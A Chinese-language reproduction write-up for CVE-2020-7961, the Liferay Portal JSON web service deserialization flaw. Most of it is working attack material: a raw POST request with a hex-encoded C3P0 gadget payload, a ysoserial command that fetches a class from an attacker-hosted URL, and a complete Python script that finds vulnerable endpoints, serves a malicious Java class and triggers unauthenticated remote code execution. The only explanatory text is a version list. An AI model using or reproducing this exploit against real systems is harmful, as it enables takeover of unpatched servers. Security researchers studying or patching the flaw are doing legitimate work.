# CVE-2020-7961 Liferay Portal Json Web Service 反序列化漏洞
### 一、漏洞简介
### 二、漏洞影响
* Liferay Portal 6.1.X
* Liferay Portal 6.2.X
* Liferay Portal 7.0.X
* Liferay Portal 7.1.X
* Liferay Portal 7.2.X
### 三、复现过程
**环境搭建**
https://github.com/liferay/liferay-portal/releases/tag/7.2.0-ga1 下载带tomcat的集成版，接下来就可以运行了，安装过程一路默认配置即可
### 漏洞复现
poc
```bash
POST /api/jsonws/invoke HTTP/1.1
Host: www.baidu.com:8080
Content-Length: 2335
Content-Type: application/x-www-form-urlencoded
Connection: close
cmd={"/expandocolumn/add-column":{}}&p_auth=o3lt8q1F&formDate=1585270368703&tableId=1&name=2&type=3&defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:aced000573720028636f6d2e6d6368616e67652e76322e633370302e506f6f6c4261636b656444617461536f75726365de22cd6cc7ff7fa802000078720035636f6d2e6d6368616e67652e76322e633370302e696d706c2e4162737472616374506f6f6c4261636b656444617461536f75726365000000000000000103000078720031636f6d2e6d6368616e67652e76322e633370302e696d706c2e506f6f6c4261636b656444617461536f757263654261736500000000000000010300084900106e756d48656c706572546872656164734c0018636f6e6e656374696f6e506f6f6c44617461536f757263657400244c6a617661782f73716c2f436f6e6e656374696f6e506f6f6c44617461536f757263653b4c000e64617461536f757263654e616d657400124c6a6176612f6c616e672f537472696e673b4c000a657874656e73696f6e7374000f4c6a6176612f7574696c2f4d61703b4c0014666163746f7279436c6173734c6f636174696f6e71007e00044c000d6964656e74697479546f6b656e71007e00044c00037063737400224c6a6176612f6265616e732f50726f70657274794368616e6765537570706f72743b4c00037663737400224c6a6176612f6265616e732f5665746f61626c654368616e6765537570706f72743b7870770200017372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e000a4c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f727971007e00044c0014636c617373466163746f72794c6f636174696f6e71007e00044c0009636c6173734e616d6571007e00047870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400074578706c6f6974740016687474703a2f2f3132372e302e302e313a383938392f7400076578706c6f697470707070770400000000787702000178;"}
```
本地起http server 挂载Exploit.class字节码文件
ysoserial c3p0生成：
```bash
java -jar ysoserial.jar C3P0 "http://192.168.3.199/:Exploit" > test1.ser
```
然后用以下脚本转为16进制：
```bash
import java.io.*;
public class poc {
public String encodeHex(InputStream fi) throws IOException {
int size;
String hexStr="";
while ((size=fi.read())!=-1){
String byteChar = Integer.toHexString(size);
if(byteChar.length()<2) {
byteChar = "0" + byteChar;
}
hexStr = hexStr + byteChar;
}
return hexStr;
}
public static void main(String[] args) throws IOException {
FileInputStream fi = new FileInputStream(new File(System.getProperty("user.dir")+"/src/main/resources/test.ser"));
poc obj = new poc();
String pocStr = obj.encodeHex(fi);
System.out.println(pocStr);
}
}
```
或者用mashalsec直接生成16进制paylaod：
**poc**
poc.py
```python
'''
Title: POC for Unauthenticated Remote code execution via JSONWS (LPS-97029/CVE-2020-7961) in Liferay 7.2.0 CE GA1
POC author: mzero
Download link: https://sourceforge.net/projects/lportal/files/Liferay%20Portal/7.2.0%20GA1/liferay-ce-portal-tomcat-7.2.0-ga1-20190531153709761.7z/download
Based on https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html research
Usage: python poc.py -h
Gadget used: C3P0WrapperConnPool
Installation:
pip install requests
pip install bs4
Create file LifExp.java with example content:
public class LifExp {
static {
try {
String[] cmd = {"cmd.exe", "/c", "calc.exe"};
java.lang.Runtime.getRuntime().exec(cmd).waitFor();
} catch ( Exception e ) {
e.printStackTrace();
}
}
}
javac LifExp.java
Place poc.py and LifExp.class in the same directory.
'''
import requests
import threading
import time
import sys
import argparse
import binascii
from bs4 import BeautifulSoup
from datetime import datetime
from http.server import BaseHTTPRequestHandler,HTTPServer
#import http.server
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# SET proxy
PROXIES = {}
#PROXIES = {"http":"http://127.0.0.1:9090"}
class HttpHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header('Content-type','application/java-vm')
self.end_headers()
f = open("LifExp.class", "rb")
self.wfile.write(f.read())
f.close()
return
def log(level, msg):
prefix = "[#] "
if level == "error":
prefix = "[!] "
d = datetime.now().strftime("%d/%m/%Y %H:%M:%S")
temp = "{} [{}] {}".format(prefix, d, msg)
print(temp)
def find_href(body):
soup = BeautifulSoup(body, "html.parser")
return soup.find_all('a', href=True)
def find_class(body, clazz):
soup = BeautifulSoup(body, "html.parser")
return soup.findAll("div", {"class": clazz})
def find_id(body):
soup = BeautifulSoup(body, "html.parser")
return soup.findAll("form", {"id": "execute"})
def get_param(div):
param = ""
param_type = ""
p_name = div.find("span", {"class": "lfr-api-param-name"})
p_type = div.find("span", {"class": "lfr-api-param-type"})
if p_name:
param = p_name.text.strip()
if p_type:
param_type = p_type.text.strip()
return (param, param_type)
def _do_get(url):
resp = requests.get(url, proxies=PROXIES, verify=False)
return resp
def do_get(host, path):
url = "{}/{}".format(host, path)
resp = _do_get(url)
return resp
def _do_post(url, data):
resp = requests.post(url, proxies=PROXIES, verify=False, data=data)
return resp
def do_post(host, path, data):
url = "{}/{}".format(host, path)
resp = _do_post(url, data)
return resp
def find_endpoints(host, path):
result = []
resp = do_get(host, path)
links = find_href(resp.text)
for link in links:
if "java.lang.Object" in link['href']:
result.append(link['href'])
return result
def find_parameters(body):
div_params = find_class(body, "lfr-api-param")
params = []
for d in div_params:
params.append(get_param(d))
return params
def find_url(body):
form = find_id(body)[0]
return form['action']
def set_params(params, payload, payload_type):
result = {}
for param in params:
p_name, p_type = param
if p_type == "java.lang.Object":
result[p_name+":"+payload_type] = payload
result[p_name] = "1"
return result
def pad(data, length):
return data+"\x20"*(length-len(data))
def exploit(host, api_url, params, PAYLOAD, PAYLOAD_TYPE):
p = set_params(params, PAYLOAD, PAYLOAD_TYPE)
resp = do_post(host, api_url, p)
banner = """POC author: mzero\r\nBased on https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html research"""
def main():
print(banner)
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target-host", dest="target", help="target host:port", required=True)
parser.add_argument("-u", "--api-url", dest="api_url", help="path to jsonws. Default: /api/jsonws", default="api/jsonws")
parser.add_argument("-p", "--bind-port", dest="bind_port", help="HTTP server bind port. Default 9091", default=9091)
parser.add_argument("-l", "--bind-ip", dest="bind_ip", help="HTTP server bind IP. Default 127.0.0.1. It can't be 0.0.0.0", default="127.0.0.1")
args = parser.parse_args()
bind_port = int(args.bind_port)
bind_ip = args.bind_ip
target_ip = args.target
api_url = args.api_url
endpoints = []
vuln_endpoints = []
PAYLOAD_TYPE = "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"
PAYLOAD_PREFIX = """{"userOverridesAsString":"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400064c69664578707400c8"""
PAYLOAD_SUFIX = """740003466f6f;"}"""
INTERNAL = pad("http://{}:{}/".format(bind_ip, bind_port), 200)
INTERNALB = INTERNAL.encode('utf-8')
INTERNALHEX = binascii.hexlify(INTERNALB)
PAYLOAD = PAYLOAD_PREFIX+INTERNALHEX.hex()+PAYLOAD_SUFIX
try:
log("info", "Looking for vulnerable endpoints: {}/{}".format(target_ip, api_url))
endpoints = find_endpoints(target_ip, api_url)
if not endpoints:
log("info", "Vulnerable endpoints not found!")
sys.exit(1)
except Exception as ex:
log("error", "An error occured:")
print(ex)
sys.exit(1)
try:
server = HTTPServer((bind_ip, bind_port), HttpHandler)
log("info", "Started HTTP server on {}:{}".format(bind_ip, bind_port))
th = threading.Thread(target=server.serve_forever)
th.daemon=True
th.start()
for e in endpoints:
resp = do_get(target_ip, e)
params = find_parameters(resp.text)
url_temp = find_url(resp.text)
vuln_endpoints.append((url_temp, params))
for endpoint in vuln_endpoints:
log("info", "Probably vulnerable endpoint {}.".format(endpoint[0]))
op = raw_input("Do you want to test it? Y/N: ")
if op.lower() == "y":
exploit(target_ip, endpoint[0], endpoint[1], PAYLOAD, PAYLOAD_TYPE)
log("info", "CTRL+C to exit :)")
while True:
time.sleep(1)
except KeyboardInterrupt:
log("info", "Shutting down...")
server.socket.close()
except Exception as ex:
log("error", "An error occured:")
print(ex)
sys.exit(1)
if __name__ == "__main__":
main()
```
LifExp.java
```java
public class LifExp {
static {
try {
String[] cmd = {"cmd.exe", "/c", "calc.exe"};
java.lang.Runtime.getRuntime().exec(cmd).waitFor();
} catch ( Exception e ) {
e.printStackTrace();
}
}
}
```
参考链接
https://www.cnblogs.com/tr1ple/p/12608731.html#NmdGyEkb